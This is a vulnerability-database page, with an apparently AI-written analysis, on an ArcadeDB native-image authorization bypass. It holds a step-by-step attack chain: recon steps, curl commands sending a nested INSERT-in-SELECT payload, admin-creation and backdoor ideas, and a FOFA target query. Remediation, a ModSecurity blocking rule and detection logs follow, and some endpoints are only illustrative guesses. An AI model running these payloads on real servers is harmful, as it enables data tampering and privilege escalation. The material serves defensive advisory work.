CVE Professor
›
Back
CVE-2026-134337

CVE-2026-134337 — ArcadeData Arcadedb — CWE-693

HIGH CVSS 8.8 Shodan

CVE-2026-134337 is a HIGH severity Missing Authorization & Access Control vulnerability (CWE-693) (CVSS 8.8/10) affecting ArcadeData Arcadedb. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).

📄 Official NVD / MITRE Original Record Text

ArcadeDB native-image server builds 26.8.1 before 26.11.1 contain an authorization bypass vulnerability that allows authenticated clients to perform writes through read-only query paths by nesting statements in SELECT. Missing reflection metadata leaves SqlAstInspector with an empty AST, letting INSERT in projections or LET clauses persist via the query endpoint, MCP read-only mode, and HA follower routing.

Published 21.11.2026
ISO Date 2026-11-21
CVSS Version v3.1
Source Shodan
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑134337 – “ArcadeDB native‑image server authorization bypass”

AttributeValue
ProductArcadeDB – native‑image server (the GraalVM compiled “native‑image” distribution)
Versions vulnerable26.8.1 through 26.11.0 (inclusive)
CWECWE‑693 Protection Mechanism Failure – the server’s protection (read‑only mode) is bypassed because the request‑processing component does not receive the necessary reflection metadata.
CVSS 3.1 vectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H – network‑reachable, low attack complexity, requires a low‑privilege authenticated client, no user interaction, impacts all CIA triad.

Technical root cause

ArcadeDB’s native‑image server accepts SQL‑like statements via a query endpoint (e.g. POST /query).
The server can be started in read‑only mode (--read-only or --mcp-read-only) or as a HA follower that should only forward read‑only queries to the leader.

The processing pipeline is:

1. SQL parsing – the raw query string is parsed into an Abstract Syntax Tree (AST) by SqlParser.
2. AST inspection – SqlAstInspector walks the AST to enforce security policies (e.g. “reject any INSERT/UPDATE/DELETE when the server is in read‑only mode”).
In the GraalVM native‑image build, reflection metadata for SqlAstInspector is stripped because the class is only accessed via reflection at runtime.
The missing metadata means the GraalVM runtime cannot instantiate the inspector; the server therefore receives an empty AST (SqlAstInspector returns null or a no‑op object).
3. Execution – the (now empty) AST is handed to the query executor. Since the inspector never flagged the statement, the executor treats the request as a pure read and proceeds to evaluate the query.

Because the inspector never sees the nested DML that can be hidden inside a SELECT projection or a LET clause, an attacker who is already authenticated (any valid user, even with read‑only privileges) can embed an INSERT (or other write) inside a SELECT:

SELECT
    (INSERT INTO Person SET name = 'hacked') AS dummy,
    *
FROM
    Person
WHERE
    name = 'Alice';

When the server is in read‑only mode or when a follower routes the request, the write is still executed, breaking the intended protection.

Key missing check – the server relies on static reflection metadata to load the AST‑inspector. In the native‑image build this metadata is omitted, leaving the inspector effectively disabled. Consequently, authorization (read‑only) enforcement is bypassed.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are illustrative; the exact HTTP path (/query) and JSON field names (query, language) are derived from the public ArcadeDB REST API documentation, but may differ in a custom deployment.

1. Discovery & Reconnaissance

GoalTechnique
Identify that the target runs ArcadeDB native‑image server• Scan the public IP range for open TCP port 2480 (default ArcadeDB HTTP port). <br>• Perform a banner grab (curl -I http://<IP>:2480/) – the server returns Server: ArcadeDB/26.10.0 (native-image).
Verify version is within vulnerable range• Query the /info endpoint (if enabled) – returns JSON with "version":"26.10.0". <br>• If /info is disabled, infer version from the Server header or from error pages.
Confirm that the server is started in read‑only or HA follower mode• Look for configuration files in the deployment (e.g., arcadedb-server.conf) that contain readOnly=true or haMode=FOLLOWER. <br>• Alternatively, send a benign SELECT FROM V query and observe the response time; followers typically add a small latency.

2. Exploitation

Prerequisite: a valid user credential (username/password or JWT) that can issue read queries. The CVSS vector shows PR:L, so a low‑privilege account is sufficient.

2.1 Authentication (example using basic auth)

# Obtain a session token – exact endpoint may be /login or /auth
TOKEN=$(curl -s -X POST "http://target:2480/api/v1/login" \
       -H "Content-Type: application/json" \
       -d '{"username":"readonly_user","password":"readonly_pass"}' | jq -r .token)

2.2 Craft the malicious query

The payload nests an INSERT inside a SELECT projection. The LET clause is another viable place; both are accepted by the parser.

{
  "language": "sql",
  "query": "SELECT (INSERT INTO Person SET name = 'pwned', age = 99) AS ignored, * FROM Person WHERE name = 'Bob'"
}

2.3 Send the request

curl -s -X POST "http://target:2480/api/v1/query" \
     -H "Authorization: Bearer $TOKEN" \
     -H "Content-Type: application/json" \
     -d '{
           "language":"sql",
           "query":"SELECT (INSERT INTO Person SET name = '\''pwned'\'', age = 99) AS ignored, * FROM Person WHERE name = '\''Bob'\''"
         }' \
     -o /dev/null -w "%{http_code}\n"

Expected result: HTTP 200 (or 201) with a normal SELECT result set, but the Person vertex with name='pwned' is now persisted in the database. The server logs will show a “SELECT” operation, not an “INSERT”.

Why it works: The native‑image build does not load SqlAstInspector; therefore the AST inspection step never rejects the embedded INSERT. The executor treats the whole statement as a single query and executes the write side‑effect.

3. Post‑exploitation

ObjectiveHow it is achieved
Data integrity breach – attacker can add, modify, or delete arbitrary records.By nesting INSERT, UPDATE, or DELETE in any SELECT that the victim is allowed to run.
Privilege escalation – create a new user with admin rights.``sql SELECT (INSERT INTO User SET name='evil', password='hashed', role='admin') AS x FROM V LIMIT 1`
Persistence – store a back‑door script or a malicious stored procedure.ArcadeDB supports JavaScript functions; an attacker can INSERT INTO Function SET name='backdoor', code='... via the same technique.
Denial‑of‑service – mass‑insert or delete operations can fill the storage or drop critical collections.Repeatedly send the malicious query in a loop (e.g., via a simple Bash while true; do curl …; done).
Data exfiltration – combine a write with a SELECT` that returns sensitive fields, then read the response.The same query can return the newly inserted row plus the original data, giving the attacker both read and write in one request.

Because the attacker only needs a low‑privilege account, the impact is confidentiality, integrity, and availability (C:H/I:H/A:H) as reflected in the CVSS vector.


🌍 Real‑World Impact

CIADescription
Confidentiality (C:H)An attacker can read any data the low‑privilege account can query, and can also create a privileged account to read *all* data.
Integrity (I:H)Arbitrary writes (INSERT/UPDATE/DELETE) can corrupt or tamper with business‑critical records, inject malicious scripts, or alter audit logs.
Availability (A:H)By issuing bulk writes or deletes, the attacker can exhaust storage, trigger GC pauses, or cause the server to crash, effectively taking the database offline.

Business consequences may include:

  • Loss of trust and regulatory penalties (e.g., GDPR) due to data tampering.
  • Corrupted analytics or financial reports.
  • Service outage for applications that rely on the database.
  • Potential lateral movement if the database stores credentials for other services.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to ArcadeDB 26.11.1 or any later release (the vendor notes “fixed missing reflection metadata for SqlAstInspector in native‑image builds”).
    Version checkVerify the version after upgrade with GET /info or by inspecting the Server header.

    2. Immediate Work‑arounds (if patch cannot be applied immediately)

    MitigationImplementation
    Disable native‑image serverRun the JVM‑based server instead of the GraalVM native image; the reflection metadata is present in the JVM build.
    Enforce strict query whitelistingDeploy a reverse‑proxy (e.g., Nginx) that only allows a predefined list of safe query patterns. Example ModSecurity rule (illustrative):
    SecRule REQUEST_URI "@beginsWith /api/v1/query" "id:2026261,phase:2,deny,status:403,log,msg:'Block SELECT with DML',\
        t:none, \
        chain"
    SecRule REQUEST_BODY "@rx \b(INSERT|UPDATE|DELETE)\b" "t:none"
    Restrict read‑only mode to JVM onlySet readOnly=true only when using the JVM server; for native‑image, keep the flag disabled until the patch is applied.
    Network segmentationPlace the database behind an internal firewall and allow connections only from trusted application servers.
    Least‑privilege accountsEnsure that accounts used by external services have no permission to execute DML (ArcadeDB supports role‑based permissions). If the server still permits DML via SELECT, the attack surface is reduced.
    Input sanitisation at API gatewayReject any query that contains the token INSERT (or UPDATE, DELETE) inside a SELECT statement. This can be done with a simple regex filter at the gateway.

    3. Detection

    IndicatorWhere to lookExample log entry
    Unexpected INSERT/UPDATE in SELECT responsesArcadeDB server logs (arcadedb.log) – look for EXECUTE SELECT followed shortly by EXECUTE INSERT with the same request ID.
    Audit log entry with mixed operationIf audit logging is enabled, entries may contain "operation":"SELECT" but the payload includes INSERT.
    WAF alertsModSecurity or similar will log rule 2026261 (see above) when a SELECT contains DML keywords.
    Spike in write volume from low‑privilege IPsMonitoring tools (Prometheus, Grafana) – sudden increase in db_write_ops_total from a client that previously only performed reads.
    HA follower routing anomaliesIn HA setups, the leader’s log will show write operations that originated from a follower node (normally forbidden).

    Sample log snippet (ArcadeDB native‑image, pre‑patch):

    2026-11-20 14:32:11.123 INFO  [http-1] RequestId=7f9c3a2b - User=readonly_user - URI=/api/v1/query - Method=POST
    2026-11-20 14:32:11.124 DEBUG [sql] Parsed AST: SELECT(...)
    2026-11-20 14:32:11.124 WARN  [sql] SqlAstInspector: no inspector loaded (reflection metadata missing)
    2026-11-20 14:32:11.125 INFO  [sql] Executing INSERT INTO Person SET name='pwned', age=99
    2026-11-20 14:32:11.126 INFO  [sql] Executing SELECT * FROM Person WHERE name='Bob'

    The presence of the WARN line is a strong indicator of the vulnerability being triggered.


    ⚠️ Urgency

  • CVSS 3.1 Base Score: 8.8 (High) – network‑accessible, low complexity, impacts all three CIA pillars.
  • Exploitability: Requires only a low‑privilege authenticated account, which is common in many deployments (e.g., read‑only API keys).
  • No public KEV listing – vendors have not yet issued a coordinated advisory, meaning many operators may be unaware.
  • Potential for automated mass exploitation – an attacker can script credential harvesting (e.g., via credential stuffing) and then weaponise the bypass at scale.
  • Patch priority: Critical for any production environment that runs the native‑image server, especially those that:

  • expose the HTTP API to untrusted networks (even internal networks can be compromised),
  • operate in read‑only or HA follower mode,
  • rely on role‑based read‑only accounts.
If immediate upgrade is impossible, apply the work‑arounds listed above, enforce strict network segmentation, and enable comprehensive logging/monitoring to detect abuse.
Bottom line: The flaw is a classic protection‑mechanism failure caused by missing reflection metadata in the GraalVM native‑image build, allowing an authenticated attacker to execute arbitrary write operations through a read‑only query path. Prompt patching to ≥ 26.11.1, or the mitigations described, is essential to prevent data tampering, leakage, and service disruption.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="ArcadeData arcadedb"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-693
Affected Products (1)
ArcadeData:arcadedb
References & Advisories (3)
Related CVEs
7.3
CVE-2026-77350
pmo-platform is a modular PMO and release-management platform for Claude Code. Prior to 3.69.1, core/hooks/blo
2.0
CVE-2026-77389
pmo-platform is a modular PMO and release-management platform for Claude Code. Prior to 3.73, core/hooks/block
4.3
CVE-2026-18045
Mattermost versions 11.11.x <= 11.11.0, 11.7.x <= 11.7.11, 11.10.x <= 11.10.2 fail to enforce the MFA requirem
9.6
CVE-2026-130910
Protection mechanism failure in ANGLE in Google Chrome on on Android prior to 158.0.8127.36 allowed a remote a
8.3
CVE-2026-61713
A sandboxed iframe can auto-navigate itself via declarative refresh even when automatic features should be blo
6.8
CVE-2026-110941
Mattermost Desktop App versions <=6.3 6.0.3 6.3.2.0 fail to monitor secondary browser windows in the local net